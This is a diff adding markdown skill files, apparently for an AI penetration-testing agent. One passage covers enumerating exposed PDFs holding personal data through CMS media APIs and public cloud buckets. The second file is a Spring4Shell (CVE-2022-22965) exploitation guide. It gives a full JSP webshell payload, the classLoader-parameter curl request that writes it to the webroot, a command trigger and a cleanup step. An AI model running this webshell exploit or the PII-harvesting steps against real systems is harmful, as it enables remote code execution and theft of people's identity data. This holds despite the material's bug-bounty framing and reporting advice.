+ "DL": r'\b[A-Z]{1,2}\d{6,8}\b', # Driver's license varies by state
509
+ "keywords": ["Social Security", "SSN", "Driver License", "EIN"],
510
+ "regulation": "CCPA / HIPAA / FCRA (varies by state/sector)",
511
+ "base_penalty": "CCPA: $7,500 per intentional violation"
512
+ }
513
+ }
514
+
515
+ def get_pii_context(target_country, pii_text):
516
+ """
517
+ Given country and confirmed PII, generate regulatory impact context
518
+ for the vulnerability report.
519
+ """
520
+ ctx = COUNTRY_PII_PATTERNS.get(target_country, COUNTRY_PII_PATTERNS["EU/EEA"])
521
+ return {
522
+ "regulation": ctx["regulation"],
523
+ "penalty": ctx["base_penalty"],
524
+ "keywords_to_look_for": ctx["keywords"]
525
+ }
526
+
527
+ # Usage:
528
+ country = "Indonesia" # Determine from target's domain, language, or content
529
+ impact = get_pii_context(country, "")
530
+ print(f"Applicable regulation: {impact['regulation']}")
531
+ print(f"Max penalty: {impact['penalty']}")
532
+ print(f"PII fields to confirm: {impact['keywords_to_look_for']}")
533
+ ```
534
+
535
+ ---
536
+
537
+ ## Full Attack Surface Coverage
538
+
539
+ ### CMS Targets
540
+ | CMS | Enumeration Endpoint | Sensitive Filter |
541
+ |-----|---------------------|------------------|
542
+ | WordPress | `/wp-json/wp/v2/media?mime_type=application/pdf` | mime_type filter |
543
+ | Drupal | `/jsonapi/file/file?filter[mime]=application/pdf` | JSONAPI filter |
544
+ | Strapi | `/api/upload/files?filters[mime][$eq]=application/pdf` | Filters API |
545
+ | Ghost | `/ghost/api/v3/content/files/` | (requires key) |
546
+ | Contentful | `/spaces/{id}/assets?mimetype_group=pdfdocument` | Content delivery API |
547
+
548
+ ### Cloud Storage Targets
549
+ ```bash
550
+ # S3 public bucket with listing
551
+ curl -s "https://BUCKET.s3.amazonaws.com/?list-type=2&prefix=consent&max-keys=100"
552
+
553
+ # GCS with public listing
554
+ curl -s "https://storage.googleapis.com/storage/v1/b/BUCKET/o?prefix=consent&maxResults=100&key=AIza..."
555
+
556
+ # Azure Blob with $web container
557
+ curl -s "https://ACCOUNT.blob.core.windows.net/documents?restype=container&comp=list&prefix=consent"
558
+ ```
559
+
560
+ ---
561
+
562
+ ## Validation Requirements for Report
563
+
564
+ 1. **Enumerate:** Show the GET request to the media endpoint with response showing multiple PDF URLs
565
+ 2. **Filename analysis:** Show that filenames contain patterns consistent with PII (long digit strings, person names)
566
+ 3. **Content confirmation:** Download ONE sample document, extract text, show masked PII fields
567
+ 4. **Scope quantification:** Show total count of affected documents (`X-WP-Total` header)
568
+ 5. **Mask all real PII in report** — show only first/last 4 digits of national IDs, first 2 chars of names
569
+ 6. **Regulatory context:** Name the applicable privacy law and note the violation
570
+
571
+ ---
572
+
573
+ ## False Positives
574
+
575
+ - **Public marketing PDFs with no PII** — filename analysis says "sensitive" but content is a brochure
576
+ - **Sample/template forms** — forms with placeholder names like "Full Name Here" (not real data)
577
+ - **Forms where PII is redacted** — confirm full PII is actually present, not just field labels
578
+ - **CDN-cached files that no longer exist at origin** — verify the file is still downloadable
579
+
580
+ ---
581
+
582
+ ## Pro Tips
583
+
584
+ 1. **`X-WP-Total` header** reveals total document count before downloading anything — use this to quantify scope in the report without enumerating all files
585
+ 2. **Filename patterns are probabilistic, not definitive** — always confirm 1-3 samples before claiming PII exposure
586
+ 3. **pdftotext is the most reliable extraction tool** — install it: `apt-get install poppler-utils`. Alternative: `strings <file>.pdf | grep -E 'NIK|Nama|KTP'`
587
+ 4. **Check page 1-3 for max impact** — most recent uploads (page 1) are often the most recently submitted and contain the freshest PII
588
+ 5. **Regulatory context amplifies severity** — A finding is "MEDIUM information disclosure" without PII context but becomes "HIGH data protection violation" with confirmed PII + applicable law
589
+ 6. **Never download more than necessary** — Download 3-5 samples maximum. The point is confirmation, not bulk collection. Bulk collection could be illegal.
@@ -0,0 +1,86 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # Spring4Shell (CVE-2022-22965) — Exploitation Guide
4
+
5
+ ## Overview
6
+ Spring4Shell is a Spring Framework RCE that can allow writing a JSP webshell on
7
+ Apache Tomcat when specific conditions are met (WAR deployment, Java 9+, etc.).
8
+
9
+ ## Prerequisites
10
+ ```bash
11
+ apt-get install -y jq
12
+ # Optional: nuclei for detection
13
+ nuclei -version
14
+ ```
15
+
16
+ ## Phase 1: Fingerprinting & Preconditions
17
+ ```bash
18
+ # Check response headers for Spring/Tomcat hints
19
+ curl -s -I https://TARGET/ | tee /workspace/output/TARGET_spring_headers.txt
20
+
21
+ # Check for exposed actuator (if accessible)
22
+ curl -s https://TARGET/actuator | tee /workspace/output/TARGET_actuator.txt
23
+ ```
24
+
25
+ ## Phase 2: Automated Detection
26
+ ```bash
27
+ nuclei -t cves/2022/CVE-2022-22965.yaml -u https://TARGET \
28
+ -o /workspace/output/TARGET_spring4shell_nuclei.txt
29
+ ```
30
+
31
+ ## Phase 3: Manual Exploitation (JSP Webshell)
32
+ ```bash
33
+ TARGET_URL="https://TARGET/APP_PATH"
34
+
35
+ PAYLOAD='<% if ("cmd".equals(request.getParameter("cmd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>'
36
+
37
+ curl -s -X POST "$TARGET_URL" \
38
+ -H "Content-Type: application/x-www-form-urlencoded" \
39
+ --data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.pattern=$PAYLOAD" \
40
+ --data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" \
41
+ --data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" \
42
+ --data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell" \
43
+ --data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" \
44
+ | tee /workspace/output/TARGET_spring4shell_post.txt
45
+
46
+ # Trigger the shell
47
+ curl -s "https://TARGET/shell.jsp?cmd=id" \
48
+ | tee /workspace/output/TARGET_spring4shell_rce.txt
49
+ ```
50
+
51
+ ## Phase 4: Cleanup
52
+ ```bash
53
+ # Remove the JSP shell if created
54
+ curl -s "https://TARGET/shell.jsp?cmd=rm%20-f%20webapps/ROOT/shell.jsp"
55
+ ```
56
+
57
+ ## Report Template
58
+
59
+ ```
60
+ Target: TARGET
61
+ Vulnerability: Spring4Shell (CVE-2022-22965)
62
+ Assessment Date: <DATE>
63
+
64
+ ## Evidence
65
+ - Detection output: /workspace/output/TARGET_spring4shell_nuclei.txt
66
+ - Exploit response: /workspace/output/TARGET_spring4shell_post.txt
67
+ - Command output: /workspace/output/TARGET_spring4shell_rce.txt
68
+
69
+ ## Impact
70
+ - Remote code execution
71
+ - Arbitrary file write to webroot
72
+
73
+ ## Recommendations
74
+ 1. Upgrade Spring Framework to fixed versions
75
+ 2. Use Tomcat + JVM configurations that block classloader binding
76
+ 3. Enforce strict input binding (disallow class.* parameters)
77
+ 4. Limit write permissions on webroot
78
+ ```
79
+
80
+ ## Output Files
81
+ - `/workspace/output/TARGET_spring_headers.txt` — header fingerprinting
82
+ - `/workspace/output/TARGET_actuator.txt` — actuator response
83
+ - `/workspace/output/TARGET_spring4shell_nuclei.txt` — nuclei detection
84
+ - `/workspace/output/TARGET_spring4shell_rce.txt` — command output
85
+
86
+ indicators: spring4shell, cve-2022-22965, spring rce, spring mvc rce, tomcat jsp, classloader